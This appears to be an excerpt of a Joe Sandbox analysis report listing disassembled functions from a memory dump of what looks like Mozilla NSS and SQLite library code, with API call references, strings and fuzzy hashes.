Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 9b19158b065d112ef244ffba8b86280463323d6902ccda087ee50c8c8985bfda
Instruction ID: deba74682a5af6248d01d3a10816bfdb2dd14870521db473407230be8f1a517f
Opcode Fuzzy Hash: 9b19158b065d112ef244ffba8b86280463323d6902ccda087ee50c8c8985bfda
Instruction Fuzzy Hash: E9718071E103869BEB00CF55CD40BAABBA8FF54308F554229E858D7B11F771E9A4CB91

Function 6CB90FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB91057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB91085
PK11_GetAllTokens.NSS3 ref: 6CB910B1
free.MOZGLUE(?), ref: 6CB91107
PR_SetError.NSS3(00000000,00000000), ref: 6CB91172
free.MOZGLUE(?), ref: 6CB91182
free.MOZGLUE(?), ref: 6CB911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CB911C5

Part of subcall function 6CB952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB6EAC5,00000001), ref: 6CB952DF
Part of subcall function 6CB952C0: EnterCriticalSection.KERNEL32(?), ref: 6CB952F3
Part of subcall function 6CB952C0: PR_Unlock.NSS3(?), ref: 6CB95358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB911F3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: fc2c962edc1485be13c42d6968d27d12156c9384c2ea68b4760e3a2be9d1d2cc
Instruction ID: 6df3edcc331ecfe7ae6c31f83d2831e4fa813a9647a4476f6ce153bc1a86d7e1
Opcode Fuzzy Hash: fc2c962edc1485be13c42d6968d27d12156c9384c2ea68b4760e3a2be9d1d2cc
Instruction Fuzzy Hash: 5B61A4B0E003959BEB00DFA4D885BAEB7B9EF05348F184138EC19AB741E731D945DB62

Function 6CB9ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE10
EnterCriticalSection.KERNEL32(?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CB7D079,00000000,00000001), ref: 6CB9AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE7F
TlsGetValue.KERNEL32(?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AEF1
free.MOZGLUE(6CB7CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB7CDBB,?), ref: 6CB9AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AF30

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 43a138f4984ebf17550fad0ede3bd7b1a36ee322351f0704fbf43679c2c40d75
Instruction ID: 1e672b0a2dcbe5583fbf80ae388669cf5782da5dabcd17de8f069cb30ecc8647
Opcode Fuzzy Hash: 43a138f4984ebf17550fad0ede3bd7b1a36ee322351f0704fbf43679c2c40d75
Instruction Fuzzy Hash: F2517EB5E00A42AFDB01DF69D884B69B7B4FF06318F144664E81997E11E731E864CFD2

Function 6CB74CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB7AB7F,?,00000000,?), ref: 6CB74CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CB7AB7F,?,00000000,?), ref: 6CB74CC8
TlsGetValue.KERNEL32(?,6CB7AB7F,?,00000000,?), ref: 6CB74CE0
EnterCriticalSection.KERNEL32(?,?,6CB7AB7F,?,00000000,?), ref: 6CB74CF4
PL_HashTableLookup.NSS3(?,?,?,6CB7AB7F,?,00000000,?), ref: 6CB74D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CB74D10

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CB74D26

Part of subcall function 6CC19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DC6
Part of subcall function 6CC19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DD1
Part of subcall function 6CC19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC19DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CB74D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CB74DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CB74E02

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 2afe100a48041ec5946430dacece98246ce13910547e6e6952bc50268692e158
Instruction ID: b796669978f0e18ebbb6a9f9c68722851357f5bef7a60029eaab1ef9bf5b439e
Opcode Fuzzy Hash: 2afe100a48041ec5946430dacece98246ce13910547e6e6952bc50268692e158
Instruction Fuzzy Hash: 5141A4B5D002559BEB119F79E944A6A77B8EF05259F044170EC28C7B11FB31D918CFA2

Function 6CB5BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB5BFFB

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CB5C015

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CB5C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CB5C04D

Part of subcall function 6CBA69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBA6A47
Part of subcall function 6CBA69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CBA6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CB5C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CB5C07B

Part of subcall function 6CB58980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CB57310), ref: 6CB589B8
Part of subcall function 6CB58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CB57310), ref: 6CB589E6
Part of subcall function 6CB58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CB58A00
Part of subcall function 6CB58980: CERT_CopyRDN.NSS3(00000004,00000000,6CB57310,?,?,00000004,?), ref: 6CB58A1B
Part of subcall function 6CB58980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CB58A74

Part of subcall function 6CB51D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CB5C097,00000000,000000B0,?), ref: 6CB51D2C
Part of subcall function 6CB51D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CB5C09B,00000000,00000000,00000000,?,6CB5C097,00000000,000000B0,?), ref: 6CB51D3F
Part of subcall function 6CB51D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CB5C087,00000000,000000B0,?), ref: 6CB51D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CB5C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CB5C0C9

Part of subcall function 6CB62DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CB5C0D2,6CB5C0CE,00000000,-000000D4,?), ref: 6CB62DF5
Part of subcall function 6CB62DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CB5C0CE,00000000,-000000D4,?), ref: 6CB62E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CB5C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5C0E3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 96b94b4b793b82bc2316cc139bfa98356115e9d3fe4ba38fff27309b76400bd1
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 722181E2A4028567FB006E61AC81FFB326DDB4575CF4C0034FD04DAA46FB66D9298273

Function 6CB52E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB52CDA,?,00000000), ref: 6CB52E1E

Part of subcall function 6CBAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB59003,?), ref: 6CBAFD91
Part of subcall function 6CBAFD80: PORT_Alloc_Util.NSS3(A4686CBB,?), ref: 6CBAFDA2
Part of subcall function 6CBAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBB,?,?), ref: 6CBAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB52E33

Part of subcall function 6CBAFD80: free.MOZGLUE(00000000,?,?), ref: 6CBAFDD1

TlsGetValue.KERNEL32 ref: 6CB52E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB52E5E
PL_HashTableLookup.NSS3(?), ref: 6CB52E71
PL_HashTableRemove.NSS3(?), ref: 6CB52E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB52E96
PR_Unlock.NSS3 ref: 6CB52EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB52EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB52EC5

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 464311f6be62c9e7ff6fc1aef280120d98fb57eb1919ab109b6ff2549cda70d1
Instruction ID: 520e27181ab34286222d7086c5f2e59080769be1600b3281fa92f6546d1ec0f7
Opcode Fuzzy Hash: 464311f6be62c9e7ff6fc1aef280120d98fb57eb1919ab109b6ff2549cda70d1
Instruction Fuzzy Hash: D021F576A04141A7EF111FA8ED09ADE3B74DB5234DF040430ED1892711F732D56AD7A2

Function 6CB3FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB3FD18
sqlite3_initialize.NSS3 ref: 6CB3FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB3FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CB3FD99
sqlite3_free.NSS3(00000000), ref: 6CB3FE3C
sqlite3_free.NSS3(?), ref: 6CB3FEE3
sqlite3_free.NSS3(?), ref: 6CB3FEEE

Strings

simple, xrefs: 6CB3FC79

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: f7192e741768bffad02b015bf8f5e76bc6e90774c39f94b2906f8cea930cc3d0
Instruction ID: 3cafa519560dbcd5f7191e22bd169db757ecad46c85dc3bb60d6a66c62740057
Opcode Fuzzy Hash: f7192e741768bffad02b015bf8f5e76bc6e90774c39f94b2906f8cea930cc3d0
Instruction Fuzzy Hash: E39194B4A012658FDB04CF59C984A6AF7B2FF84318F24C1ACD81D9B752E731E841CB91

Function 6CB45CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB45EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB45EED

Strings

misuse, xrefs: 6CB45EDB
%s at line %d of [%.10s], xrefs: 6CB45EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CB45E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB45ED1
invalid, xrefs: 6CB45EBE
API call with %s database connection pointer, xrefs: 6CB45EC3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: f088bddc6bb20214cbc30220da4f026cb7fb1dcac0778706f22cb5c9cf80f0f6
Instruction ID: ddf793f3286ca390af70f7e55597ed7c59d3f1cab863355ab52fda18d35f0319
Opcode Fuzzy Hash: f088bddc6bb20214cbc30220da4f026cb7fb1dcac0778706f22cb5c9cf80f0f6
Instruction Fuzzy Hash: 1581D170B09EA19BEB19CE59C848B6A7770FF4130CF148258D8155BB58D730E84AEB9A

Function 6CB2DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB2DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB2DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB2DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB2DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB2DF78

Strings

%s at line %d of [%.10s], xrefs: 6CB2DE61, 6CB2DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB2DE52, 6CB2DE81
database corruption, xrefs: 6CB2DE5C, 6CB2DE8B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 7fd6cafeba2a7430912b7396c36cbc19235f78bff1a9a9b76b934a21264b0d6a
Instruction ID: aab848975e0ed4fd907659822ce6ffaa272cb4809c1da4da64a017de3fd8701f
Opcode Fuzzy Hash: 7fd6cafeba2a7430912b7396c36cbc19235f78bff1a9a9b76b934a21264b0d6a
Instruction Fuzzy Hash: C981CE716047909FD714DF35D880B7A77E1EF45348F14882DE89E8BA51EB39E845CB82

Function 6CADCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CADB999), ref: 6CADCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CADB999), ref: 6CADD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CADB999), ref: 6CADD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CADB999), ref: 6CC2972B

Strings

%s at line %d of [%.10s], xrefs: 6CADCFEC, 6CADD018, 6CADD029, 6CADD03F, 6CC2978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CADCFDD, 6CADD00E, 6CADD022, 6CADD033, 6CC29780
database corruption, xrefs: 6CADCFE7, 6CADD013, 6CADD028, 6CADD039, 6CADD03E, 6CC29786

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: e51ccd18533dba0064dae0238ee21d1ecea08c8c9da211b47115e15c794610ed
Instruction ID: a29ec0258e540cf105974181f77ffe6e9ad5b5d073cc8b7f3696f4b61b81ac58
Opcode Fuzzy Hash: e51ccd18533dba0064dae0238ee21d1ecea08c8c9da211b47115e15c794610ed
Instruction Fuzzy Hash: 58613971A052108BD310CF29C840BA7BBF5EF45718F69416DE4459BB41E376E987C7A1

Function 6CBDFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBE5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CBE0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CBE015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CBE01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CBE0202
free.MOZGLUE(?), ref: 6CBE0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE0253

Strings

exporter, xrefs: 6CBE00F7

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 1a2b5623c8a3b029337005427b8265b76f58a4693dd8712fda1658bf262c53d1
Instruction ID: 72301d97fbbbeff89f9bc5303acc288eecddea21088fa3a9467c30454c3db0ed
Opcode Fuzzy Hash: 1a2b5623c8a3b029337005427b8265b76f58a4693dd8712fda1658bf262c53d1
Instruction Fuzzy Hash: E46123B1D003C99BEF118FA4EC00BEE77B6FF48748F144528F91A5A661EB319954EB42

Function 6CBDEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CBFA4A1,?,00000000,?,00000001), ref: 6CBDEF6D

